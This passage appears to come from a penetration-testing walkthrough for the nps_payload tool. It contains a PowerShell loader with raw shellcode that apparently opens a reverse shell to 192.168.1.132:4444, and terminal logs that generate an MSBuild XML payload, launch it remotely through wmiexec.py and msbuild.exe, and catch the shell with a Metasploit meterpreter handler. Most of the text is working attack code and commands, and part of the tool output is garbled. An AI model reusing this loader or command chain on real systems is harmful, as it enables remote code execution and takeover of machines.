output = null;
                try
                {
                    output = ps.Invoke();
                }
                catch(Exception e)
                {
                    Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
                }
                if (output != null)
                {
                    foreach (PSObject rtnItem in output)
                    {
                        Console.WriteLine(rtnItem.ToString());
                    }
                }
                return true;
            }

            public static string Base64Encode(string text) {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
        }

        public static string Base64Decode(string encodedtext) {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
        }
        }
        ]]>

$UlCtYYMwq = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

$JmyCwkQkzaNpf = Add-Type -memberDefinition $UlCtYYMwq -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $PdsNIFvprguNF = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$PdsNIFvprguNF += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$PdsNIFvprguNF += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$PdsNIFvprguNF += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$PdsNIFvprguNF += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$PdsNIFvprguNF += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$PdsNIFvprguNF += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$PdsNIFvprguNF += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$PdsNIFvprguNF += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$PdsNIFvprguNF += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$PdsNIFvprguNF += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$PdsNIFvprguNF += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$PdsNIFvprguNF += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$PdsNIFvprguNF += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32
$PdsNIFvprguNF += 0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c
$PdsNIFvprguNF += 0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0
$PdsNIFvprguNF += 0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff
$PdsNIFvprguNF += 0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x84,0x68,0x2
$PdsNIFvprguNF += 0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40
$PdsNIFvprguNF += 0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5
$PdsNIFvprguNF += 0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61
$PdsNIFvprguNF += 0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75
$PdsNIFvprguNF += 0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4
$PdsNIFvprguNF += 0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83
$PdsNIFvprguNF += 0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0
$PdsNIFvprguNF += 0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53
$PdsNIFvprguNF += 0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57
$PdsNIFvprguNF += 0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0
$PdsNIFvprguNF += 0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0
$PdsNIFvprguNF += 0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68
$PdsNIFvprguNF += 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc
$PdsNIFvprguNF += 0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6
$PdsNIFvprguNF += 0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0
$PdsNIFvprguNF += 0x53,0xff,0xd5

$IvLrvRjHuBUD = $JmyCwkQkzaNpf::VirtualAlloc(0,[Math]::Max($PdsNIFvprguNF.Length,0x1000),0x3000,0x40)

for ($QQRODVRXnpg=0;$QQRODVRXnpg -le ($PdsNIFvprguNF.Length-1);$QQRODVRXnpg++) {
  $JmyCwkQkzaNpf::memset([IntPtr]($IvLrvRjHuBUD.ToInt32()+$QQRODVRXnpg), $PdsNIFvprguNF[$QQRODVRXnpg], 1) | Out-Null
}

$JmyCwkQkzaNpf::CreateThread(0,0,$IvLrvRjHuBUD,0,0,0)
for (;;){
  Start-sleep 60
}

┌─[root@parrot]─[/home/alejandro/Desktop]
└──╼ #cd nps_payload-master/
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #pip install -r requirements.txt
Collecting netifaces (from -r requirements.txt (line 1))
  Downloading netifaces-0.10.6.tar.gz
Requirement already satisfied: pexpect in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
Building wheels for collected packages: netifaces
  Running setup.py bdist_wheel for netifaces ... done
  Stored in directory: /root/.cache/pip/wheels/28/e1/08/e66a4f207479500a27eae682a4773fa00605f2c5d953257824
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.6
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py
                                                
                                     (            (
                              ) (    )\        )  )\ )
  (    `  )  (       `  )  ( /( )\ )((_)(   ( /( (()/(
  )\ ) /(/(  )\      /(/(  )(_)|()/( _  )\  )(_)) ((_))
_(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |
| ' \)) '_ \|_-\msbuild_nps.xml

    --or--

2) Use samba to share the file.

    a) Copy the msbuild_nps.xml file to a local samba share (ie: /var/samba/payload$)
    b) Execute the command remotely with the following command:

    wmiexec.py :''@ cmd.exe /c start %windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \\\\192.168.1.132\\payloads$\\msbuild_nps.xml

┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #msfconsole -r msbuild_nps.rc
                                          
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.13.12-dev                         ]
+ -- --=[ 1611 exploits - 914 auxiliary - 279 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
[*] Processing msbuild_nps.rc for ERB directives.
resource (msbuild_nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.132
LHOST => 192.168.1.132
resource (msbuild_nps.rc)> set LPORT 4444
LPORT => 4444
resource (msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.132:4444[*] Starting the payload handler...
msf exploit(handler) >

C:\Users\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml
Microsoft (R) Build Engine, version 4.7.2046.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Compilation complete.